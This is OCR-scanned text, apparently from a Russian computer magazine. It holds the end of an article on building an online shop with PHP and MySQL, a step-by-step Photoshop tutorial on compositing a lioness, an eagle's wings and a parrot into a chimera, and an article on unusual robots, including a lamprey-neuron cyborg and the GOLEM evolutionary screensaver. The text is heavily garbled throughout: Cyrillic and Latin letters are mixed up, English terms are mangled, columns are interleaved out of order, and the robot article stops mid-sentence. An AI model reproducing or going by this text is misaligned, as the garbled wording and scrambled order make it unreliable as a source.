на (просто пате, абсігезз и т.п.) 

Еще не помешает устанавливать курсор авто- 
матически на первом поле формы. Так эконо- 
мится один щелчок мышкой. Стоит гибко под- 
держивать формат телефонных номеров, но- 
меров кредитных карточек и т.д. Ведь очень 
просто запрограммировать компьютер, чтобы 
он сам удалял лишние скобки и пробелы в но- 
мерах. Это особенно важно в случаях с пожи- 
лыми людьми, когда магазины требуют от них 
данные в непривычном для них формате. Зачем 
терять заказ только из-за того, что покупатель 
предпочитает красиво группировать цифры по 
четыре в номере своей кредитной карточки, 
а не вводить их сплошным потоком из 14 цифр? 



мт пвы ССЬЩКА ШВ ѴПОБНОЙ ОНА ДОЛЖНА 
тптоять ня ДОЛЕЕ Ч ЕМ ИЗ ЧЕТЫРЕХ СЛО В, 



ЛЕЗЕМ 

ВНУТРЬ 




► е секрет, что уважающий себя интернет-мага- 
зин должен содержать следующие ключевые 
элементы: корзину, выбор способа доставки, 
способа оплаты, поиск по сайту, регистрация 
пользователей. Хочется отметить, что это лишь 
минимальные требования к функциональности. В 
идеале, грамотный ѵѵеЬ-дизайнер должен пре- 
дусмотреть скрипт для заполнения магазина для 
оплаты через интернет-кошельки, отточить до 
блеска работу с базой данных. Как правило, в ка- 
честве основного языка ѵѵеЬ-программирования 
используется РНР, а в качестве СУБД — МуЗОБ. 
Ни для кого не секрет, что РНР — это скрипто- 
вый вегѵег-зісіе язык программирования, пред- 
назначенный в основном для включения в НІтІ 
страницу и выполняемый сервером перед выда- 
чей страницы браузеру. РНР очень похож на АЗР 
(существует даже конвертор азр2рИр), но прис- 
пособлен к *піх-системам и чаще всего употреб- 
ляется с ѵѵеЬ-сервером арасНе, хотя может рабо- 



тать и с М3 113 и с любым другим ѵѵеЬ-сервером. 
Кроме того, РНР является объектно-ориентиро- 
ванным языком программирования, что позволя- 
ет создателю интернет-магазина, не переписы- 
вая скрипт заново, добавлять новые модули. 
На мой взгляд, основное преимущество РНР — 
простота, гибкость и скорость выполнения. 
Несколько слов хотелось бы сказать о фри- 
варных скриптах, скинах и прочих фишках. 
Прежде всего, ими не стоит злоупотреблять. 
Важнейшие модули должны быть написаны са- 
мостоятельно. Нельзя довериться какому-ни- 
будь постороннему движку. Все хорошие про- 
екты создаются практически о нуля. Когда ты 
напишешь движок, у тебя будет уже плацдарм 
для дальнейших действий, ты сможешь его ис- 
пользовать в новых проектах, дополнять, изме- 
нять. Ведь сделать свой движок — гораздо 
проще, чем разобраться в чужом, и потом его 
модифицировать или улучшать! 



Напоследок хотелось бы 
сказать о том, что дол- 
жен знать и учитывать 
будущий создатель ин- 
тернет-магазина. Чело- 
веку, который решил 
взяться за такой серьез- 
ный проект, нужно пони- 
мать, что без соответ- 
ствующих знаний ничего 
не выйдет, поэтому, если 
таковых знаний нет, либо 
падаем духом, либо идем 
изучать умные книжки. 
Если соответствующие 
знания есть, то смело их 
применяем, не забывая 
при этом использовать 
мировой и отечествен- 
ный общедизайнерский 
опыт. Так что же стоит 
учить новичку? Ну, конеч- 
но же, НТМБ, как бы ба- 
нально это не прозвуча- 
ло, причем нужно 
постараться верстать 
«руками», без использо- 
вания визуальных редак- 
торов. Еще дизайнеру не 
обойтись без знания 
С38, так как это позво- 
лит упростить код и при- 
дать ему легкость в уп- 
равлении. Дальше изу- 
чаем РНР и Му$(Х. Хо- 
чется дать совет начина- 
ющим: если учишься по 
книге, книга должна быть 
одна и хорошая, то са- 
мое главное — не распы- 
ляться. Ну и, конечно же, 
всегда хорошие помощ- 
ники — форумы и знаю- 
щие друзья. Конечно, ес- 
ли ты выучил эти основы, 
это не значит, что ты 
сможешь все, ведь зна- 
ния графики, 4аѵаЗсгірІ 
тоже необходимы. В об- 
щем, нет предела совер- 
шенству! Учиться, учить- 
ся и еще раз учиться. . . И 
не забываем отдыхать, 
поэтому сматываем удоч- 
ки и идем пить пивко. Вот 
на этом месте и можно 
поставить точку. Точка. 

ВШАПѴ ѴОІЖ 5 тг; 
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законченный .рзсі Файл 
ІБІРСк 000000859749 
іЗ^оск 000000651420 
ібіоск 000000651420 
ІЗІРСк 000000463507 



СОЗДАЕМ ХИМЕРУ 

ІІ КАК ПРЕВРАТИТЬ ОРЛА, ГОРДУЮ ЛЬВИЦУ И ПОПУГАЯ В МИФИЧЕСКОЕ СУЩЕСТ- 
ВО, СОБРАВШЕЕ В СЕБЕ ВСЕ САМОЕ ВАЖНОЕ ОТО ВСЕЙ ЭТОЙ ТРОИЦЫ? ДОСТА- 
ТОЧНО ЛИШЬ ОСВОИТЬСЯ В РАБОТЕ С ИНСТРУМЕНТОМ СБОИЕ 5ТАМР И РАЗОБ- 
РАТЬСЯ С ОСНОВАМИ КОЛЛАЖА рр 



Химеры, или гибриды различных животных, пришли из самых древ- 
них преданий и мифов. Задолго до появления первой копии 
РНоІозІіор’а у людей уже были готовые образцы «мутантов», напри- 
мер, грифоны (крылатое животное с телом льва и головой орла). 
Сюда же можно отнести русалок и сирен — существ с человечес- 
кими телами и рыбьими хвостами, а также кентавров, которые ро- 



дились в Древней Греции и представляли собою гибрид коня и че- 
ловека. Что бы ни послужило вдохновением, наверняка каждому не 
раз приходило в голову, что получилось бы, если скрестить разных 
животных, и какими были бы их отпрыски. Это можно легко выяс- 
нить прямо сейчас! 

ВІИАНѴ ѵоин'5 -8- 
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ТЕХТ СЭМ ГИЛБИ / Ѵ\ЛАЛЛЛРІХЕІ.-5иПСЕОМ.СОМ / ШШШ.РЕП30ЫА1_8РАСЕ1№А№ЕП8.С0.1Ж / 




01 ЦАРИЦА ЗВЕРЕЙ: 

Откроем файл і3іоск_000000859749.ірд. Инстру- 
ментом Реп <Р> обведем львицу по контуру. Луч- 
ше всего создавать точки там, где направление ли- 
нии меняется. Цвет заливки сейчас не имеет зна- 
чения, поскольку мы рисуем контур только для то- 
го, чтобы отделить львицу от фона. 



Теперь вверху панели іауегз отметим непрозрачность слоя с контуром — 40%, для дальнейших действий 
необходимо видеть не только сам контур, но и изображение под ним. Вернемся к панели инструментов 
и, удерживая левую кнопку мыши на инструменте Рѳп, откроем список доступных на этой кнопке инстру- 
ментов. Самым последним инструментом в списке будет «уголок» Сопѵегі Роіпі. С помощью этого инстру- 
мента можно изогнуть наши ломаные линии и заставить их повторять контуры тела. Кроме того, будем 
использовать Асісі Апсііог РоіпХ, чтобы добавлять новые точки, а инструментом Оігесі Зеіесііоп (он нахо- 
дится на той же кнопке, что и Раііі Зеіесііоп) переместим уже существующие. 




03 СОЗДАЕМ ВЫДЕЛЕНИЕ: 



Выделим получившуюся форму при помощи 
инструмента Оігесі Зеіесііоп. Теперь перейдем на 
панель Раіііз (обычно она находится во вкладке ря- 
дом с панелью іауегз, но если ее там нет, то вызо- 
вем ее вручную: ѴѴіпсіош > Раіііз). Нажав на ма- 
ленькую черную стрелку в правом верхнем углу 
этой панели, выберем пункт Маке Зеіесііоп. Оста- 
вим Реаіііегіпд равным 0, а опцию Апіі-АІіазесІ — 
включенной. Нажмем на ОК. 




04 КРАСНЫЕ ДЖУНГЛИ: 



Скроем слой с нашими кривыми (он нам больше 
не нужен), кликнув на панели іауегз на иконку 
с глазом слева от слоя. Сделав слой с фотографи- 
ей активным, выберем Есііі > Сору, а затем Есііі > 
Разіе. Львица без фона появилась в новом слое. 
Делаем активным слой с исходным фото и, выбрав 
на панели инструментов верхним, например, яркий 
красный цвет, нажимаем <АІі>+<Васкзрасе>. Те- 
перь наша львица находится на ярком фоне, и мы 
можем увидеть все недочеты предыдущей работы. 
Сохранили файл в формате рзб. 




05 ОБРАЗЦОВАЯ ШКУРКА: 



После того как мы сделали яркий фон, может ока- 
заться, что при выделении мы все-таки немного 
захватили участки фона исходного фото. Это лег- 
ко исправляется инструментом Егазег с правильно 
подобранными настройками кисти ( Зіге , Орасііу 
и степень размытости). На нижней части рисунка 
осталось немного травы, попавшей в пределы кон- 
тура. Инструментом СІопе Зіатр, кистью 
с размытыми краями и Орасііу 50% закрасим эти 
участки шкурой львицы, выбрав образец шерсти 
и кликнув по нему, удерживая <АІі>. 
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06 ОКРЫЛЕННАЯ ХИЩНИЦА: 



Откроем файл і8іоск_000000651420.ірд и обведем 
ближайшее крыло, используя те же инструменты, 
которыми мы пользовались в шагах 1 и 2. Преоб- 
разовав контур в выделение, скопируем крыло 
и вставим его в файл с львицей. Чтобы оно помес- 
тилось в нужное нам место коллажа, увеличим вы- 
соту картинки до 1500 рх, выбрав в меню Ітаде > 
Сапѵаз зіхе. При помощи Тгапзіогт развернем 
львицу, как показано на рисунке. 




09 БУДУЩАЯ ТЕКСТУРА: 



Теперь аккуратно отделим тело попугая от головы, 
используя инструмент РоІудопаІ І-аззо. Вырежем 
его и затем вставим в новый слой, после чего под- 
винем инструментом Моѵе. Очень скоро этот 
фрагмент понадобится нам в качестве источника 
текстур, поэтому не будем его удалять. 




07 ДОБАВИМ РЕЗКОСТИ: 

Добавленному в рисунок крылу явно не хватает 
резкости. Воспользуемся фильтром: Еіііег > 
Зііагреп > ІІпзІіагр тазк с параметрами Атоипі — 
50% и Насііиз — 3.9 рх ( ШезІюІсІ оставим на нуле). 
Нажмем на ОК. 




10 РАЗНОЦВЕТНАЯ БЕСТИЯ: 



Теперь сделаем активным слой с львицей 
и выберем іауег > іауег Зіуіе > Огасііепі Оѵегіау. 
Выберем в выпадающем меню ВІепсІ Мосіе тип на- 
ложения Соіог, чтобы раскрасить шерсть в яркие 
цвета попугая. Теперь кликнем по цветовому пере- 
ходу Огасііепі и подберем цвет градиента. Кликнем 
на нижний движок слева, по квадратику Соіог и 
после появления диалогового окна палитры 
по оперенью на шее попугая на нашем рисунке. 
Второй цвет может быть любым, мы сделали его 
желто-зеленым. 




12 БРЮКИ ПРЕВРАЩАЮТСЯ... 



Откроем І8іоск_000000463507 .}рд и выделим ногу 
с когтями. Вставим ее в наш рисунок над слоем с те- 
лом и уменьшим так, чтобы она казалась маловатой 
для львиной лапы. Теперь, используя Егазег, сотрем 
снизу часть лапы под размер когтей. Вернемся к 
слою с телом попугая и «одолжим» у него немножко 
перьев при помощи СІопе Зіатр, которые перене- 
сем на ноги. В новом слое инструментом Вгизіі нари- 
суем легкие тени, как показано на рисунке. 




Применим к слою с крыльями Огасііепі Оѵегіау, 
как мы это делали в шаге 10. На этот раз нам 
нужно вертикальное направление градиента, 
переходящего из цвета тела у основания крылье 
в в какой-нибудь другой яркий цвет на их кончиках. 
Поскольку крылья изначально темнее туловища, 
воспользуемся Соіог Оѵегіау из этого же меню, 
отметив в настройках белый цвет, ВІепсІ Мосіе — 

А ІогтаІ, Орасііу — 8%. 




08 ПЕРНАТАЯ МАСКА: 

Как и в случае с вырезанной львицей, поработаем 
Егазег, чтобы подправить края крыла, и СІопе 
Зіатр, чтобы исправить дефект в верхней правой 
части. Теперь откроем і3іоск_000000651420.ірд, 
выделим голову и тело птицы, используя инстру- 
мент Весіапдиіаг Магдиее, скопируем их и вставим 
в наш рисунок. Сделаем новый слой полупрозрач- 
ным и начнем поворачивать попугая против часо- 
вой стрелки при помощи Тгапзіогт, чтобы его голо- 
ва точно «пришлась в пору» к телу львицы. 




1 1 ЕЩЕ НЕМНОГО ПЕРЬЕВ: 



Сделаем активным слой с телом попугая. 

Используя СІопе Зіатр, перенесем несколько мел- 
ких перьев с верхней части крыла на плечо нашего 
монстра. Для того чтобы эффект не резал глаз, от- 
метим достаточно низкое значение Орасііу. Под ко- 
нец поработаем ластиком там, где это нужно, также 
с достаточно небольшим значением Тгапзрагепсу. 




14 НЕКОШАЧЬИ КОГОТКИ: 



Теперь нужно добавить когти на остальные лапы 
и правое крыло. Используя те же приемы, будет 
несложно добавить все эти детали и привести их к 
единому виду. Возьмем немного шерсти с перед- 
них лап, чтобы четче обозначить нерезкие края 
задних, после чего воспользуемся инструментом 
Вигп с низким значением Ехрозиге, чтобы бросить 
тень на правую заднюю лапу. 



ДОПОЛНИТЕЛЬНЫЕ возможности 



Во время экспериментов с крыльями, ногами и хвостами приготовимся к тому, что нам придется часто менять цвета. Самый простой и привычный 
способ — воспользоваться инструментами коррекции цвета, находящимися в меню Ітаде > Асііизітепі. Однако іауег Зіуіез дает несравненно боль- 
шую свободу действий. Изменения, сделанные посредством Ние/Заіигаііоп или, скажем, Вгідіііпезз АпсІ Сопігазі, конечно, сохраняются в Нізіогу, но их 
нельзя отменить, не уничтожив половины проделанной работы после их применения. И если через несколько шагов понимаешь, что все-таки произо- 
шел «перебор», то придется возвращаться назад и делать все заново. Поэтому гораздо проще использовать іауег Зіуіез, поскольку их эффекты сох- 
раняются отдельно для каждого слоя и могут быть изменены в любое время. Так почему же, если эта возможность дает гораздо больше свободы, не 
воспользоваться ею? 
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15 ПОРА В ПОЛЕТ: 

Откроем і8іоск_000000808048.ірд, скопируем изображенное в нем небо и 
вставим его на задний план. Теперь уменьшим картинку, чтобы она совпада- 
ла по размеру с нашим рисунком. Чтобы немного приглушить цвета, приме- 
ним к небу Огасііепі Оѵѳгіау с глубокими синими тонами. 




Сделаем копии каждого слоя с частями нашей химеры ( <СігІ>+<8> ) и немного 
размоем их при помощи Моііоп Ыиг. Воспользовавшись практически прозрач- 
ным ластиком, на некоторых фрагментах немного подотрем этот эффект. Те- 
перь скрепим все слои, кроме фона, скрепкой и развернем их по часовой стрел- 
ке, немного уменьшив при помощи Тгапзіогт. Отрежем хвост и расположим его 
так, чтобы он в полете развивался. Склеим все слои в новом, размоем их 
Ѳаиззіап ВІиг с радиусом 1 рх и уменьшим непрозрачность нового слоя до 50%. 



СОЗДАНИЕ СОБСТВЕННОЙ БИБЛИОТЕКИ ТЕКСТУР 

Часто, прежде чем начинается работа по созданию компьютерного коллажа, ей предшествует нарисованный от руки эскиз. Но может быть и наобо- 
рот: цифровой монтаж будет эскизом для будущего рисунка, сделанного красками и на холсте. У такого подхода есть свои преимущества, поскольку 
воображение не ограничено никакими материалами и текстурами, а созданных мифических существ можно будет помещать в настолько же сюрреа- 
листичные пейзажи. Исходная фотография поможет определиться со светотенью, пропорциями и композицией, после чего можно дать полную сво- 
боду своему воображению. Многих замечательных художников, создающих подобные работы, можно найти на Ітадіпагу Ргіепсіз Зіисііо ( ѵѵѵѵѵѵ.ітааі- 
пагѵіз.сот) . однако прежде всего стоит взглянуть на работы Шона Йе. Его неповторимые гибриды животных и людей можно воспринимать как еще 
один аргумент в пользу перспективности генной инженерии и клонирования. 



Британская Высшая 
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РОБОТЫ, О КОТОРЫХ ТЫ ЕЩЕ НЕ СЛЫШАЛ 



ІІТЕБЕ, ДУМАЮ, НЕ НАДО ОБЪЯСНЯТЬ, ЧТО ТАКОЕ РОБОТ. ТЫ НАВЕРНЯКА СМОТРЕЛ 
МАССУ ФИЛЬМОВ И ЧИТАЛ ДОСТАТОЧНО КНИГ, ЧТОБЫ САМО ЭТО СЛОВО ПРОЧНО 
ВОШЛО В ТВОЙ ЛЕКСИКОН. ДАВАЙ ПОГОВОРИМ О ТЕХ РОБОТАХ, КОТОРЫЕ И НЕ 
РОБОТЫ СОВСЕМ. ТО ЕСТЬ ЭТО РОБОТЫ, НО ЕСЛИ БЫ ТЕБЕ ПОКАЗАЛИ ОДНОГО ИЗ 
НИХ И СПРОСИЛИ, ЧТО ЭТО ТАКОЕ, ТО ТЫ БЫ ТОЧНО НЕ НАЗВАЛ ЭТО РОБОТОМ рр 



В понимании твоих родителей ро- 
бот — это такой металлический 
человек, который говорит скри- 
пучим голосом и постоянно засо- 
вывает пальцы в розетку, чтобы 
подзарядиться. Друзья постарше 
четко ассоциируют робота либо 
с роботом Вертером, либо с тер- 
минатором Шварцнеггера. А твои 
сверстники под словом «робот» 
могут даже представлять спам- 
мербота, которого представить 
вживую трудновато. 

Но кто скажет о том, что обыч- 
ная стиральная машина может 
тоже называться роботом? Или 
микроволновка? Тем не менее, 
многие ученые называют робо- 
тами любые механизмы, спо- 
собные выполнять заданные 
программы. И даже созданный 
недавно кусочек из двух цепо- 
чек ДНК, способный ковылять 
по плоской поверхности, рас- 
положенной в растворе моле- 
кул АТФ, — тоже робот. 

В этой статье я расскажу тебе о 
самых необычных роботах, ко- 
торые уже существуют и будут 
существовать. Ты поймешь, что 
робот — это не всегда «мозги». 

МОЗГ В КОРОБОЧКЕ 

Зачем придумывать сложный 
искусственный интеллект для 
систем навигации и передвиже- 
ния роботов, не легче ли исполь- 



зовать то, что уже есть под ру- 
кой? Например, природные ком- 
пасы и навигаторы. Широко из- 
вестны такие точные навигацион- 
ные приборы, как черепахи, лету- 
чие мыши, змеи и т.д. Получает- 
ся, что сегодня легче «прикру- 
тить» к роботу мозг черепахи или 
летучей мыши и на них возло- 
жить навигационные обязаннос- 
ти. Пока наука не дошла до пост- 
роения таких сложных киборгов, 
но ей есть чем похвастаться. 

Одна из ветвей подражания при- 
роде — создание искусственных 
нейронов и нейросетей. Причем 
необязательно брать реально су- 
ществующие нейроны или их вы- 
ращивать — проще смоделиро- 
вать. Математическую модель 
нейрона человека создали еще в 
конце 60-х годов прошлого века. 
Казалось бы, собирай их в нес- 
колько миллиардов нейронов и 
получишь действующий мозг. Од- 
нако не тут-то было: тогдашние 
возможности позволяли смоде- 
лировать простейшие логичес- 
кие ячейки, состоящие из пяти- 
десяти нейронов. И все. Но те- 
перь компьютеры стали помощ- 
нее. И им уже под силу смодели- 
ровать если не мозг человека, то 
улитки — на вое сто процентов. 

1 . Один из таких роботов с вир- 
туальным мозгом — Оагѵѵіп VII. 
Его создали американские ис- 



следователи из Нейрологичес- 
кого института в Ла-Джолле 
(Калифорния). Состоит его вир- 
туальный мозг из двадцати ты- 
сяч виртуальных «нейронов». 
Детище ученых состоит не 
только из одного виртуального 
мозга: для передвижения и кон- 
такта с окружающим миром у 
робота есть база, на которой 
закреплены рука-манипулятор 
и управляющие механизмы. 

При этом Оагѵѵіп VII снабжен 
почти полным набором «орга- 
нов» чувств: ПЗС-камера играет 



роль глаз, несколько микрофо- 
нов позволяют воспринимать 
звуки, а специальные сенсо- 
ры — различать вкус. По разме- 
рам и форме робот напоминает 
мусорный бак. 

Оагѵѵіп VII действует, руковод- 
ствуясь «природными цифро- 
выми инстинктами». Он прояв- 
ляет интерес ко всему окружа- 
ющему и самообучается. Нап- 
ример, передвигаясь по полу и 
изучая разбросанные предме- 
ты, робот способен самостоя- 
тельно определить, что полоса- 
тые образцы приятны на вкус, а 
пятнистые — не очень. 



Естественно, что на этом прог- 
ресс не остановится, и вскоре 
удастся сделать что-то анало- 
гичное (по количеству нейро- 
нов, естественно) головному 
мозгу. Опять ждем повышения 
производительности компов. 

Другое дело, когда можно вы- 
растить нервную ткань, приспо- 
собив ее под свои нужды. Пока, 
правда, вырастить можно не 
все подряд, а простейшие 
нервные узлы, реагирующие на 
определенные раздражители. 



Вот, например, две команды 
ученых из Иллинойского уни- 
верситета (Чикаго) и Генуэзс- 
кого университета (Италия) 
создали киборга на основе 
нейронов спинного мозга мино- 
ги. Почему именно миноги? От- 
вет прост: у нее наибольшие по 
размерам нейроны. Машина 
состоит из нескольких ЖИВЫХ 
нейронов, фотосенсора, мик- 
ропроцессора и колес. 

2 . Все, что пока умеет делать 
этот киборг, — двигаться к ис- 
точнику света. Происходит это 
следующим образом: электрон- 



ах 

РАРѴУ1И УН СНАБЖЕН ПОЧТИ ПОЛНЫМ 
НАБОРОМ «ОРГАНОВ» ЧУВСТВ 
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Тут можно скачать ГОЛЕМа: 

ІіТІр://с1ето.с5.Ьгапс1біз.ѳсіи/аоІет/сІоѵѵпІоасі/БоІет245.2ір 

Видео воплощенной в железе робота стрелки и ее компьютерной модели: 
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ный глаз обнаруживает источ- 
ник света и передает сигнал в 
нейроны миноги, те, в свою 
очередь, посредством микроп- 
роцессора управляют колеса- 
ми для того, чтобы к этому ис- 
точнику света приблизиться. 
При этом, если выключить свет, 
киборг остается без движения, 
а если отключить один из сен- 
соров, то рыба-робот сначала 
дезориентируется, после чего 
все равно находит источник 
света. «Кибермонстр» пока 
способен реагировать только 
на свет, но уже демонстрирует 
классические в кибернетике 
формы поведения: следует за 
источником света, кружит вок- 
руг него и т. д. Поздравляем то- 
варищей ученых! Им удалось- 
таки доказать, что мы и маши- 
ны едины! До полной матрицы 
осталось совсем немного. 
Спиной мозг был извлечен из 
рыбы при полной анестезии и 
помещен в насыщенный кисло- 
родом солевой раствор. В каче- 



после этого требуют замены, 
так что для длительного функ- 
ционирования киборгу нужен 
большой запас миног. В буду- 
щем, вероятно, при соответ- 
ствующей тренировке киборг 
сможет пополнять мозговые за- 
пасы вполне естественным пу- 
тем: рыбалкой, хождением по 
супермаркетам и т.п. 

Разумеется, найти применение 
светолюбивому киборгу, мягко 
говоря, будет нелегко, так как 
все то же самое, только лучше, 
может делать уже существую- 
щая электроника. Но важно са- 
мо его создание (ура, товари- 
щи!). По словам создателей ки- 
борга, его уникальность состо- 
ит в том, что это действующая 
замкнутая система, которая 
представляет собой шаг вперед 
на пути нейроинженерии. Пока 
что движением тела киборга уп- 
равляет не весь мозг миноги, а 
лишь несколько его клеток. 



Короче говоря: зачем куда-то 
идти или ехать, если можно пос- 
лать кого-то (что-то) вместо се- 
бя? С развитием технологий 
этот тунеядский принцип посто- 
янно совершенствуется. Снача- 
ла было радио, затем телефон, 
телевизоры, а потом уже Интер- 
нет и мобильные телефоны. 

4. Удаленная, дистанционно уп- 
равляемая экономика была 
впервые «изобретена» Робер- 
том А. Хайнлайном в его романе 
ѴѴаІбоз (Вальдо) в 1940 году. 
Первые прототипы телеинстру- 
ментов, о которых шла речь в 
научной фантастике, были скон- 
струированы в 1947 году. Пер- 
вый действующий телеоператор 
с обратной связью был разра- 
ботан Рэем Г ерцем в 1 954 году. 
Идея телеприсутствия была воз- 
рождена Марвином Мински в 
1979 году. Сегодня наступил мо- 
мент, когда телеприсутствие с 
помощью робототехники долж- 
но стать частью как виртуаль- 



Огромная пропускная способ- 
ность магистралей Іп1егпе12 не 
могла не привлечь интереса эн- 
тузиастов цифрового видео. 
Сочетая широкую полосу про- 
пускания и технологии мульти- 
кастинга, в рамках Іп1егпе12 
построили несколько систем 
передачи цифрового видеопо- 
тока, которые можно использо- 
вать с самыми разнообразными 
целями. Например, получать ви- 
деоданные от телеробота, свя- 
занного с тобой через шлем 
виртуальной реальности. 

Тебе известно о боях роботов? 
Интересная забава. Ее даль- 
нейшее и логичное продолже- 
ние — телебои с участием лю- 
дей в качестве пилотов. Причем 
это можно будет сделать по Се- 
ти, заплатив только за аренду 
робота и участие в состязании. 

А компания Ыапоіесітпоіоду 
Ыеѵѵз іхіеіѵѵогк готовит в недале- 
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стве портов ввода/вывода ис- 
пользовались клетки Мюллера 
(не начальника СС) с внедренны- 
ми в них электродами. Эти клет- 
ки достаточно велики, удобны 
для подключения и служат для 
интеграции сигналов управления 
и сигналов от органов чувств, 
идущих к моторным нервам для 
ориентации миноги в простран- 
стве. Электроды, идущие от фо- 
тосенсора, стимулировали ней- 
роны на привычных для них час- 
тотах, а электроды, управляю- 
щие движением, снимали потен- 
циал с аксонов клеток. При этом 
мозг киборга не был установлен 
на подвижной платформе, а сое- 
динялся с ней при помощи про- 
вода. А платформа представляет 
собой популярного многофунк- 
ционального робота Кберега. 
Мозг только дает команды, уп- 
равляющие им. 

3. Одна из главных проблем 
«рыбы-терминатора» — недол- 
говечность нейронов миноги, 
которые живут в солевом раст- 
воре лишь несколько дней и 



Впоследствии это достижение 
может привести, в частности, к 
созданию более совершенных 
протезов. Кроме того, с разви- 
тием микроэлектроники разра- 
ботанную технологию можно 
будет применить практически 
ко всем живым организмам, что 
открывает большие перспекти- 
вы в нашей будущей жизни. 

РОБОТ - РЕАЛИТИ ШОУ 

Люди всегда высоко ценили 
любую деятельность, которую 
можно было осуществлять на 
расстоянии. Начиная с прими- 
тивного «телекинеза», который 
заключался в том, чтобы вызы- 
вать в другом месте события 
посредством бросания камней 
или пения йодлем в горах :) , и 
заканчивая поиском жизни на 
Марсе с помощью роверов и 
занятиями киберсексом на 
расстоянии, человечество все 
чаще предпочитает проводить 
время, щелкая пультом дистан- 
ционного управления телеви- 
зора или болтая по мобильно- 
му телефону. 



ной, так и «реальной» челове- 
ческой деятельности. 

Другими словами, иногда ты 
не хочешь идти на футболь- 
ный матч, даже если любишь 
футбол. Ты лучше посмот- 
ришь его по телевизору, осо- 
бенно когда возможно инте- 
рактивное телеприсутствие и 
дистанционное управление 
камерами. Ты получаешь бо- 
лее ясную картину игры, мо- 
жешь просмотреть столько 
повторов, сколько захочешь, 
смотреть крупные планы, слу- 
шать сопроводительные ком- 
ментарии и при этом потяги- 
вать свой джин с тоником. 

5 . Ты, наверное, слышал о раз- 
витии проекта Іп1егпе12. Сейчас 
многие ученые считают именно 
его основой для «виртуального 
мира телеприсутствия» буду- 
щего благодаря возможности 
передавать большие массивы 
данных и тому, что с этими дан- 
ными могут работать одновре- 
менно много пользователей. 



ком будущем выпуск по Интер- 
нету программы «Телебои мик- 
ророботов»! Тебе даже дадут 
выбор, с кем сражаться: со 
злобными живыми насекомыми 
или с твоими друзьями :). Но 
это еще цветочки. Представь 
себе, что будет, если дальше 
развивать мозговые импланты 
и взламывать нейрокоды? Таки- 
ми темпами через несколько 
лет ты не сможешь отличить, 
кто сегодня вышел за пивом — 
ты или твой робот :). 

ГОЛЕМ 

И НЕДЕТСКАЯ ЗМЕЙКА 

Написание вирусов, которые 
могут эволюционировать неза- 
висимо от программера, — дав- 



НАПИСАНИЕ ВИРУСОВ. КО- 
ТОРЫЕ МОГУТ ЭВОЛЮЦИО- 
НИРОВАТЬ НЕЗАВИСИМО 
ОТ ПРОГРАММЕРА. — ДАВ- 
НО ПРОЙДЕННЫЙ ЭТАП 
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но пройденный этап. Многие 
робототехники наполовину яв- 
ляются программерами, и за- 
частую они роботов не собира- 
ют вживую, а моделируют, поэ- 
тому у них получается изобре- 
тать порой интересные вещи, 
так как всю работу за них вы- 
полняет компьютер. Один из 
таких умельцев — Ход Липсон 
из Корнелльского университе- 
та. Один из самых ярких его 
примеров — проект ГОЛЕМ 
(Ѳоіет — ОепеІісаІІу Огдапігеб 
ЫГеІіке Еіесіго Месбапісз). 

7 . Дело простое: пишем код 
робота, который способен эво- 
люционировать. Вся программа 
эволюции робота представляет 



мент он решает отрастить себе 
одну или несколько других ног, 
поменять конструкцию или из- 
менить мозг, состоящий из 
нервных узлов. 

Если результаты естественно- 
цифровой эволюции тебя не 
устраивают — пожалуйста, мо- 
жешь сам повлиять на выращи- 
вание робота. В твоем распоря- 
жении находятся: изменение 
ландшафта, конструкции и моз- 
ги питомца. Изменять поначалу 
интересно, только гораздо ин- 
тереснее забросить все на не- 
дельку-другую и посмотреть по- 
том, как изменится твой пито- 
мец. То ли он обрастет мозгами 
и нервными окончаниями, то ли 
просто до невозможности ус- 



ное количество месяцев у них 
наберется достаточное количе- 
ство моделей для различного 
промышленного применения: 
ползания и лазания в трудно- 
доступных местах или даже для 
десантирования в качестве 
разведчиков на планеты нашей 
солнечной системы. 

8 . Логичное развитие голем- 
ной технологии — фракталь- 
ные и адаптивные роботы. Го- 
лем, сделанный из железа, 
уже не сможет наращивать 
себе мозги или изменять свою 
конструкцию, если поставлен- 
ная перед ним задача окажет- 
ся слишком трудной. Фрак- 
тальные роботы состоят из 



сов перепрограммировать на 
производство другого продук- 
та, орбитальные станции с пе- 
редвигающимися отсеками и 
солнечными панелями, меняю- 
щими форму таким образом, 
чтобы на них попадало как 
можно больше света. Вот бо- 
лее насущная проблема — ра- 
бота в теле ядерных реакто- 
ров или при дезактивации 
Чернобыльской АЭС. 

10 . Теперь сделаем кубики 
змейки размером 1x1x1 мил- 
лиметр. Что получится? Чер- 
вяк, который пролезет в лю- 
бую вену и расчистит атероск- 
леротические бляшки. Или, 
подкопавшись под раковую 



К. 

РАЗ В ОПРЕДЕЛЕННОЕ КОЛИЧЕСТВО ВРЕМЕНИ САМЫЕ ПРОДВИНУТЫЕ 
МОДЕЛИ ДЕЛАЮТ ВРУЧНУЮ ИЗ РАЗНЫХ ЖЕЛЕЗЯК И ЭЛЕКТРОНИКИ 



собой обычный скринсейвер. 
На нем видно все эволюцион- 
ные шаги и сам процесс разви- 
тия робота. В качестве стимула 
для эволюции выбрали переме- 
щение по случайно генерируе- 
мой местности с разными не- 
ровностями. То есть в идеаль- 
ном случае робот должен изме- 
нить свою конструкцию и прис- 
пособиться к тому, чтобы пере- 
лезть через бугорок. Или как 
можно быстрее двигаться по 
прямой. Робот начинает свою 
деятельность с нуля — тебе да- 
ется эдакая амеба, у которой 
нет ни «мозга», ни даже нерв- 
ных узлов. Только один стер- 
жень с «ногой», который посто- 
янно вибрирует, пытаясь дви- 
гаться. В процессе этих кон- 
вульсий робот начинает пони- 
мать, как именно надо двигать 
конечностью, чтобы ковылять 
как можно эффективнее. И тут 
его мозги, показанные сверху 
модели, начинают изменяться: 
в них добавляются нервные уз- 
лы и сложные разветвления ло- 
гических алгоритмов. Чем даль- 
ше, тем сложнее становится 
робот. В один прекрасный мо- 



ложнит конструкцию, но в лю- 
бом случае всегда интересно 
посмотреть на конвульсии циф- 
рового животного, подсовывая 
голему горки и впадины. 

Причем самое интересное, что 
успешные модели (те, которые 
лихо скачут по цифровым рав- 
нинам и взбираются на горки) 
затем переводят в железо. 
Скринсейвер периодически 
связывается с Интернетом и 
там обновляет базу данных 
эволюционных монстров, соз- 
данных другими юзерами, ко- 
торые тоже поставили себе та- 
кой прикольный хранитель эк- 
рана. И если твой робот, выст- 
раданный в долгих экспери- 
ментах с конструкцией, мозга- 
ми и ландшафтом подает на- 
дежды, то его модель добавля- 
ют в существующую базу. 

Раз в определенное количество 
времени самые продвинутые 
модели делают вручную из раз- 
ных железяк и электроники. Ре- 
зультаты получаются довольно 
интересными. Организаторы 
проекта уверены, что через эн- 



одинаковых механических 
